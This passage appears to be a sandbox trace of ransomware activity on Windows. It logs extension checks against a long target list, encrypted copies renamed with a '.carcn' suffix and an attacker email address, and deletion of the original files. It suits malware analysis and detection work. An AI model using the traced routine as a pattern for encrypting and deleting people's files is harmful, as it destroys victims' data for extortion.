[0311.432] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0311.432] lstrlenW (lpString=".pdf") returned 4 [0311.432] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0311.432] lstrlenW (lpString=".xls") returned 4 [0311.432] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0311.432] lstrlenW (lpString=".xlsx") returned 5 [0311.432] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0311.432] lstrlenW (lpString=".ppt") returned 4 [0311.432] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0311.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0311.432] lstrlenW (lpString=".zip") returned 4 [0311.432] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0311.432] lstrlenW (lpString=".rar") returned 4 [0311.432] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0311.432] lstrlenW (lpString=".bz2") returned 4 [0311.432] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0311.432] lstrlenW (lpString=".7z") returned 3 [0311.432] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0311.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0311.432] lstrlenW (lpString=".dbf") returned 4 [0311.432] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0311.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0311.432] lstrlenW (lpString=".1cd") returned 4 [0311.433] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0311.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar") returned 59 [0311.433] lstrlenW (lpString=".jpg") returned 4 [0311.433] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0311.433] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.433] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.433] GetLastError () returned 0x0 [0311.433] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x84e, lpOverlapped=0x0) returned 1 [0311.434] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x850, lpOverlapped=0x0) returned 1 [0311.435] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.435] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0311.435] SetEndOfFile (hFile=0x380) returned 1 [0311.435] CloseHandle (hObject=0x380) returned 1 [0311.435] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.435] SetEndOfFile (hFile=0x334) returned 1 [0311.439] CloseHandle (hObject=0x334) returned 1 [0311.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.439] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 1 [0311.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0311.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0311.440] lstrlenW (lpString=".doc") returned 4 [0311.440] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString=".docx") returned 5 [0311.440] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0311.440] lstrlenW (lpString=".pdf") returned 4 [0311.440] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString=".xls") returned 4 [0311.440] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString=".xlsx") returned 5 [0311.440] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0311.440] lstrlenW (lpString=".ppt") returned 4 [0311.440] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0311.440] lstrlenW (lpString=".zip") returned 4 [0311.440] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString=".rar") returned 4 [0311.440] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString=".bz2") returned 4 [0311.440] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString=".7z") returned 3 [0311.440] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0311.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0311.440] lstrlenW (lpString=".dbf") returned 4 [0311.440] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0311.440] lstrlenW (lpString=".1cd") returned 4 [0311.440] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0311.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index") returned 49 [0311.440] lstrlenW (lpString=".jpg") returned 4 [0311.440] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0311.441] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.441] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.441] GetLastError () returned 0x0 [0311.441] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x1170, lpOverlapped=0x0) returned 1 [0311.442] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x1180, lpOverlapped=0x0) returned 1 [0311.443] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0311.443] WriteFile (in: hFile=0x380, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0311.443] SetEndOfFile (hFile=0x380) returned 1 [0311.443] CloseHandle (hObject=0x380) returned 1 [0311.444] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0311.444] SetEndOfFile (hFile=0x334) returned 1 [0311.445] CloseHandle (hObject=0x334) returned 1 [0311.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0311.445] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0311.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0311.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0311.446] lstrlenW (lpString=".doc") returned 4 [0311.446] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0311.446] lstrlenW (lpString=".docx") returned 5 [0311.446] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0311.446] lstrlenW (lpString=".pdf") returned 4 [0311.446] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0311.446] lstrlenW (lpString=".xls") returned 4 [0311.446] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0311.446] lstrlenW (lpString=".xlsx") returned 5 [0311.446] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0311.446] lstrlenW (lpString=".ppt") returned 4 [0311.446] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0311.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0311.446] lstrlenW (lpString=".zip") returned 4 [0311.446] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0311.446] lstrlenW (lpString=".rar") returned 4 [0311.446] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0311.447] lstrlenW (lpString=".bz2") returned 4 [0311.447] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0311.447] lstrlenW (lpString=".7z") returned 3 [0311.447] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0311.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0311.447] lstrlenW (lpString=".dbf") returned 4 [0311.447] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0311.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0311.447] lstrlenW (lpString=".1cd") returned 4 [0311.447] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0311.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0311.447] lstrlenW (lpString=".jpg") returned 4 [0311.447] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0311.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0311.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0311.449] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0x0) returned 1 [0311.449] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0311.449] ReadFile (in: hFile=0x334, lpBuffer=0x428d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x428d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0311.990] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x9c82e, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0311.990] ReadFile (in: hFile=0x334, lpBuffer=0x42cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x42cd058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0312.012] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0312.013] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x19588b, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0312.013] ReadFile (in: hFile=0x334, lpBuffer=0x430d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x430d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0312.063] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.063] WriteFile (hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x38bfca8, lpOverlapped=0x0) Thread: id = 106 os_tid = 0xfac [0291.309] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x4390048 [0291.310] lstrlenW (lpString="C:") returned 2 [0291.310] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 0x7153a8 [0291.310] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0291.310] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0291.310] lstrlenW (lpString="$GetCurrent") returned 11 [0291.310] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0291.310] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x43a0050 [0291.311] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0291.311] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 0x7fc6c8 [0291.311] FindNextFileW (in: hFindFile=0x7fc6c8, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.311] FindNextFileW (in: hFindFile=0x7fc6c8, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.311] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0291.311] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0291.311] lstrlenW (lpString="Logs") returned 4 [0291.311] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0291.311] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x43b0058 [0291.311] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0291.311] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 0x7fc948 [0291.312] FindNextFileW (in: hFindFile=0x7fc948, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.312] FindNextFileW (in: hFindFile=0x7fc948, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.312] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn") returned 77 [0291.312] lstrlenW (lpString=".1cd") returned 4 [0291.312] lstrcmpiW (lpString1=".1cd", lpString2="arcn") returned -1 [0291.312] lstrlenW (lpString=".3ds") returned 4 [0291.312] lstrcmpiW (lpString1=".3ds", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".3fr") returned 4 [0291.313] lstrcmpiW (lpString1=".3fr", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".3g2") returned 4 [0291.313] lstrcmpiW (lpString1=".3g2", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".3gp") returned 4 [0291.313] lstrcmpiW (lpString1=".3gp", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".7z") returned 3 [0291.313] lstrcmpiW (lpString1=".7z", lpString2="rcn") returned -1 [0291.313] lstrlenW (lpString=".accda") returned 6 [0291.313] lstrcmpiW (lpString1=".accda", lpString2=".carcn") returned -1 [0291.313] lstrlenW (lpString=".accdb") returned 6 [0291.313] lstrcmpiW (lpString1=".accdb", lpString2=".carcn") returned -1 [0291.313] lstrlenW (lpString=".accdc") returned 6 [0291.313] lstrcmpiW (lpString1=".accdc", lpString2=".carcn") returned -1 [0291.313] lstrlenW (lpString=".accde") returned 6 [0291.313] lstrcmpiW (lpString1=".accde", lpString2=".carcn") returned -1 [0291.313] lstrlenW (lpString=".accdt") returned 6 [0291.313] lstrcmpiW (lpString1=".accdt", lpString2=".carcn") returned -1 [0291.313] lstrlenW (lpString=".accdw") returned 6 [0291.313] lstrcmpiW (lpString1=".accdw", lpString2=".carcn") returned -1 [0291.313] lstrlenW (lpString=".adb") returned 4 [0291.313] lstrcmpiW (lpString1=".adb", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".adp") returned 4 [0291.313] lstrcmpiW (lpString1=".adp", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".ai") returned 3 [0291.313] lstrcmpiW (lpString1=".ai", lpString2="rcn") returned -1 [0291.313] lstrlenW (lpString=".ai3") returned 4 [0291.313] lstrcmpiW (lpString1=".ai3", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".ai4") returned 4 [0291.313] lstrcmpiW (lpString1=".ai4", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".ai5") returned 4 [0291.313] lstrcmpiW (lpString1=".ai5", lpString2="arcn") returned -1 [0291.313] lstrlenW (lpString=".ai6") returned 4 [0291.313] lstrcmpiW (lpString1=".ai6", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".ai7") returned 4 [0291.314] lstrcmpiW (lpString1=".ai7", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".ai8") returned 4 [0291.314] lstrcmpiW (lpString1=".ai8", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".anim") returned 5 [0291.314] lstrcmpiW (lpString1=".anim", lpString2="carcn") returned -1 [0291.314] lstrlenW (lpString=".arw") returned 4 [0291.314] lstrcmpiW (lpString1=".arw", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".as") returned 3 [0291.314] lstrcmpiW (lpString1=".as", lpString2="rcn") returned -1 [0291.314] lstrlenW (lpString=".asa") returned 4 [0291.314] lstrcmpiW (lpString1=".asa", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".asc") returned 4 [0291.314] lstrcmpiW (lpString1=".asc", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".ascx") returned 5 [0291.314] lstrcmpiW (lpString1=".ascx", lpString2="carcn") returned -1 [0291.314] lstrlenW (lpString=".asm") returned 4 [0291.314] lstrcmpiW (lpString1=".asm", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".asmx") returned 5 [0291.314] lstrcmpiW (lpString1=".asmx", lpString2="carcn") returned -1 [0291.314] lstrlenW (lpString=".asp") returned 4 [0291.314] lstrcmpiW (lpString1=".asp", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".aspx") returned 5 [0291.314] lstrcmpiW (lpString1=".aspx", lpString2="carcn") returned -1 [0291.314] lstrlenW (lpString=".asr") returned 4 [0291.314] lstrcmpiW (lpString1=".asr", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".asx") returned 4 [0291.314] lstrcmpiW (lpString1=".asx", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".avi") returned 4 [0291.314] lstrcmpiW (lpString1=".avi", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".avs") returned 4 [0291.314] lstrcmpiW (lpString1=".avs", lpString2="arcn") returned -1 [0291.314] lstrlenW (lpString=".backup") returned 7 [0291.315] lstrcmpiW (lpString1=".backup", lpString2="].carcn") returned -1 [0291.315] lstrlenW (lpString=".bak") returned 4 [0291.315] lstrcmpiW (lpString1=".bak", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".bay") returned 4 [0291.315] lstrcmpiW (lpString1=".bay", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".bd") returned 3 [0291.315] lstrcmpiW (lpString1=".bd", lpString2="rcn") returned -1 [0291.315] lstrlenW (lpString=".bin") returned 4 [0291.315] lstrcmpiW (lpString1=".bin", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".bmp") returned 4 [0291.315] lstrcmpiW (lpString1=".bmp", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".bz2") returned 4 [0291.315] lstrcmpiW (lpString1=".bz2", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".c") returned 2 [0291.315] lstrcmpiW (lpString1=".c", lpString2="cn") returned -1 [0291.315] lstrlenW (lpString=".cdr") returned 4 [0291.315] lstrcmpiW (lpString1=".cdr", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".cer") returned 4 [0291.315] lstrcmpiW (lpString1=".cer", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".cf") returned 3 [0291.315] lstrcmpiW (lpString1=".cf", lpString2="rcn") returned -1 [0291.315] lstrlenW (lpString=".cfc") returned 4 [0291.315] lstrcmpiW (lpString1=".cfc", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".cfm") returned 4 [0291.315] lstrcmpiW (lpString1=".cfm", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".cfml") returned 5 [0291.315] lstrcmpiW (lpString1=".cfml", lpString2="carcn") returned -1 [0291.315] lstrlenW (lpString=".cfu") returned 4 [0291.315] lstrcmpiW (lpString1=".cfu", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".chm") returned 4 [0291.315] lstrcmpiW (lpString1=".chm", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".cin") returned 4 [0291.315] lstrcmpiW (lpString1=".cin", lpString2="arcn") returned -1 [0291.315] lstrlenW (lpString=".class") returned 6 [0291.316] lstrcmpiW (lpString1=".class", lpString2=".carcn") returned 1 [0291.316] lstrlenW (lpString=".clx") returned 4 [0291.316] lstrcmpiW (lpString1=".clx", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".config") returned 7 [0291.316] lstrcmpiW (lpString1=".config", lpString2="].carcn") returned -1 [0291.316] lstrlenW (lpString=".cpp") returned 4 [0291.316] lstrcmpiW (lpString1=".cpp", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".cr2") returned 4 [0291.316] lstrcmpiW (lpString1=".cr2", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".crt") returned 4 [0291.316] lstrcmpiW (lpString1=".crt", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".crw") returned 4 [0291.316] lstrcmpiW (lpString1=".crw", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".cs") returned 3 [0291.316] lstrcmpiW (lpString1=".cs", lpString2="rcn") returned -1 [0291.316] lstrlenW (lpString=".css") returned 4 [0291.316] lstrcmpiW (lpString1=".css", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".csv") returned 4 [0291.316] lstrcmpiW (lpString1=".csv", lpString2="arcn") returned -1 [0291.316] lstrlenW (lpString=".cub") returned 4 [0291.316] lstrcmpiW (lpString1=".cub", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dae") returned 4 [0291.317] lstrcmpiW (lpString1=".dae", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dat") returned 4 [0291.317] lstrcmpiW (lpString1=".dat", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".db") returned 3 [0291.317] lstrcmpiW (lpString1=".db", lpString2="rcn") returned -1 [0291.317] lstrlenW (lpString=".dbf") returned 4 [0291.317] lstrcmpiW (lpString1=".dbf", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dbx") returned 4 [0291.317] lstrcmpiW (lpString1=".dbx", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dc3") returned 4 [0291.317] lstrcmpiW (lpString1=".dc3", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dcm") returned 4 [0291.317] lstrcmpiW (lpString1=".dcm", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dcr") returned 4 [0291.317] lstrcmpiW (lpString1=".dcr", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".der") returned 4 [0291.317] lstrcmpiW (lpString1=".der", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dib") returned 4 [0291.317] lstrcmpiW (lpString1=".dib", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dic") returned 4 [0291.317] lstrcmpiW (lpString1=".dic", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".dif") returned 4 [0291.317] lstrcmpiW (lpString1=".dif", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".divx") returned 5 [0291.317] lstrcmpiW (lpString1=".divx", lpString2="carcn") returned -1 [0291.317] lstrlenW (lpString=".djvu") returned 5 [0291.317] lstrcmpiW (lpString1=".djvu", lpString2="carcn") returned -1 [0291.317] lstrlenW (lpString=".dng") returned 4 [0291.317] lstrcmpiW (lpString1=".dng", lpString2="arcn") returned -1 [0291.317] lstrlenW (lpString=".doc") returned 4 [0291.317] lstrcmpiW (lpString1=".doc", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".docm") returned 5 [0291.318] lstrcmpiW (lpString1=".docm", lpString2="carcn") returned -1 [0291.318] lstrlenW (lpString=".docx") returned 5 [0291.318] lstrcmpiW (lpString1=".docx", lpString2="carcn") returned -1 [0291.318] lstrlenW (lpString=".dot") returned 4 [0291.318] lstrcmpiW (lpString1=".dot", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dotm") returned 5 [0291.318] lstrcmpiW (lpString1=".dotm", lpString2="carcn") returned -1 [0291.318] lstrlenW (lpString=".dotx") returned 5 [0291.318] lstrcmpiW (lpString1=".dotx", lpString2="carcn") returned -1 [0291.318] lstrlenW (lpString=".dpx") returned 4 [0291.318] lstrcmpiW (lpString1=".dpx", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dqy") returned 4 [0291.318] lstrcmpiW (lpString1=".dqy", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dsn") returned 4 [0291.318] lstrcmpiW (lpString1=".dsn", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dt") returned 3 [0291.318] lstrcmpiW (lpString1=".dt", lpString2="rcn") returned -1 [0291.318] lstrlenW (lpString=".dtd") returned 4 [0291.318] lstrcmpiW (lpString1=".dtd", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dwg") returned 4 [0291.318] lstrcmpiW (lpString1=".dwg", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dwt") returned 4 [0291.318] lstrcmpiW (lpString1=".dwt", lpString2="arcn") returned -1 [0291.318] lstrlenW (lpString=".dx") returned 3 [0291.318] lstrcmpiW (lpString1=".dx", lpString2="rcn") returned -1 [0291.318] lstrlenW (lpString=".dxf") returned 4 [0291.318] lstrcmpiW (lpString1=".dxf", 